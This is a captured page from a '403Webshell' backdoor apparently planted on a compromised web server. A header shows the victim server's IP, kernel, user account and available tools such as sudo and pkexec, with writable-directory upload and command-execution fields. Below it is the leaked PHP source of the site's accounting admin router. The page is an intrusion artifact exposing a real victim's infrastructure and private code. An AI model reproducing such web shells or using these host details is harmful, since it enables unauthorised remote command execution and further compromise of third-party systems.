403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/admin/index.php
<?php
$require = false;
$leftMenu = false;
$url2 = $urlReader->getUrlParam(2);
if ($url2 === false) {
    $url2 = "dashboard";
}
switch ($url2) {
    case "api" :
        $restApi = app\classes\RestApi::getInstance();
        $restApi->processRequest("admin\\api\\", 3, 4);
        break;
    case "registration" :
        $require = 'registration.php';
        break;
    case "forgotten-password" :
        $require = "forgotten-password.php";
        break;
    case "dashboard" :
        try {
            $user = \app\classes\AdminUser::getLoggedUser();
            $require = 'dashboard.php';
            $leftMenu = true;
        } catch (\Exception $ex) {
            $require = 'login.php';
        }
        break;
    default :
        try {
            $modules = app\classes\AdminModules::getInstance();
            if ($url2 === "mnSwitcher") {
                try {
                    $user = \app\classes\AdminUser::getLoggedUser();
                } catch (\Exception $ex) {
                    $user = \app\classes\BasicUser::getLoggedUser([\app\constants\UserType::SUPERVISOR]);
                }
            } else {
                $user = \app\classes\AdminUser::getLoggedUser();
            }
            try {
                if ($modules->verifyPath($urlReader->getUrlParam(2), $urlReader->getUrlParam(3))) {
                    $modules->prepare();
                    $leftMenu = true;
                    $require = true;
                } else {
                    $app->redirect(app\constants\Config::NOT_FOUND_PAGE);
                }
            } catch (\Exception $ex) {
                if (app\constants\Config::DEV_MODE === true) {
                    echo "Error! Message: " . $ex->getMessage() . " Code: " . $ex->getCode();
                } else {
                    $app->redirect(app\constants\Config::NOT_FOUND_PAGE);
                }
            }
        } catch (\Exception $ex) {
            if ($modules->verifyPath($urlReader->getUrlParam(2), $urlReader->getUrlParam(3), false)) {
                $require = 'login.php';
            } else {
                $app->redirect("admin");
            }
        }
}
?>

<?php
$printFooter = true;
$iframe = false;
if ($urlReader->getMetaUrlParam("iframe") === "true") {
    $leftMenu = false;
    $printFooter = false;
    $iframe = true;
}
?>


<!DOCTYPE html>
<html lang="sk">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->       
        <meta name="description" content="">
        <meta name="author" content="">
        <meta name='robots' content='NOINDEX, NOFOLLOW' />
        <?php require 'head.php'; ?>
    </head>

    <body>
        <div id="loader-wrapper">
        <img src="/img/favicon.svg" alt="Logo" class="logo-loader" style="z-index: 1001" />
            <div class="loader-section section-left"></div>
            <div class="loader-section section-right"></div>
        </div>
        <?php
        if ($leftMenu) {
            require 'left-menu.php';
            ?> 
            <div class="container-fluid main-container">
                <nav class="navbar navbar-default navbar-top-icons">
                    <div class="row">
                        <div class="navbar-header">
                            <button style="margin-right: 9px; border-radius: 0px;" type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                                <span class="sr-only">Toggle navigation</span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                            </button>
                        </div>
                        <div id="navbar" class="navbar-collapse collapse">
                            <ul class="nav navbar-nav">
                                <?php
                                $pages = new app\classes\Pages(\app\constants\PageType::STATIC_PAGE);
                                $sort = $app->getConfig(app\constants\Config::SORT_STATIC_PAGE);
                                $pagesTree = array();
                                printMenuTop($sort, $pages->toArray(), $pagesTree, $isLogged);
                                ?>
                            </ul>                   
                        </div>
                    </div>
                </nav>
                <?php $require === false ? "" : ($require === true ? $modules->renderContent() : require $require ); ?>
            </div>





            <div class="container-fluid main-container">
            </div>

            <?php
        } else {
            if ($iframe) {
                ?>
                <div class="container-fluid mt15 mb15" style="margin: 15px 0px;">
                    <?php
                }
                $require === false ? "" : ($require === true ? $modules->renderContent() : require $require );
                if ($iframe) {
                    ?>
                </div>
                <?php
            }
        }
        ?>

        <?php require_once 'footer.php'; ?>

    </body>
</html>

<?php

function printMenuTop($sort, $pages, &$tree, $isLogged = false, $submenu = false) {
    $app = App::getInstance();
    $activeNode = false;
    $loggedSkipPages = array(
        $app->getConfig(app\constants\Config::LOGIN_PAGE),
        $app->getConfig(app\constants\Config::REGISTRATION_PAGE)
    );

    foreach ($sort as $item) {
        if (isset($pages[$item["id"]])) {
            $page = $pages[$item["id"]];
            if (in_array($page["id"], $loggedSkipPages)) {
                continue;
            }

            if (isset($item["children"])) {
                $skip = false;
                $elements = new \app\classes\PDOCollection("pages_elements", "id", false, array(
                    "state" => \app\constants\State::ACTIVE,
                    "pages_id" => $page["id"],
                    "type" => "main_content"
                        ), " WHERE state=:state AND pages_id=:pages_id AND type!=:type");
                foreach ($elements->toArray() as $element) {
                    $cnfg = new \app\classes\ModuleConfig($element["type"]);
                    if ($cnfg->getIncConfig("compatibility", "permissions") && !$cnfg->hasReadPermissions()) {
                        $skip = true;
                        break;
                    }
                }

                if ($skip) {
                    continue;
                }
                ?>
                <li class="dropdown text-center">
                    <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
                        <span style="font-size: 12px; vertical-align: middle;">
                            <?php
                            if (strlen(trim($page["logo"])) > 0) {
                                ?>
                                <i class="<?php echo $page["logo"] ?>"></i>
                                <?php
                            }
                            ?>
                            <?php echo $page['name'] ?>
                        </span> &nbsp;<i class="fa fa-caret-down"></i>
                    </a>
                    <ul class="dropdown-menu text-left" style="width: 100%;">
                        <?php
                        printMenuTop($item["children"], $pages, $tree, $isLogged, true);
                        ?>
                    </ul>
                </li>
                <?php
            } else {
                if ($page["template"] !== "default-visible-always") {
                    $skip = false;
                    $elements = new \app\classes\PDOCollection("pages_elements", "id", false, array(
                        "state" => \app\constants\State::ACTIVE,
                        "pages_id" => $page["id"],
                        "type" => "main_content"
                            ), " WHERE state=:state AND pages_id=:pages_id AND type!=:type");
                    foreach ($elements->toArray() as $element) {
                        $cnfg = new \app\classes\ModuleConfig($element["type"]);
                        if ($cnfg->getIncConfig("compatibility", "permissions") && !$cnfg->hasReadPermissions()) {
                            $skip = true;
                            break;
                        }
                    }

                    if ($skip) {
                        continue;
                    }
                }
                $liClass = $submenu ? "text-left" : "text-center";
                ?>                
                <li class="<?php echo $liClass ?>">
                    <a href="/<?php echo $page["address"] ?>/">
                        <h4><b>
                                <?php
                                if (strlen(trim($page["logo"])) > 0) {
                                    ?>
                                    <i class="<?php echo $page["logo"] ?>"></i>
                                    <?php
                                }
                                ?>
                                <span style="font-size: 12px; vertical-align: middle;"><?php echo $page["name"] ?></span>
                            </b></h4>
                    </a>
                </li>
                <?php
            }          
        }
    }
    return $activeNode;
}

Youez - 2016 - github.com/yon3zu
LinuXploit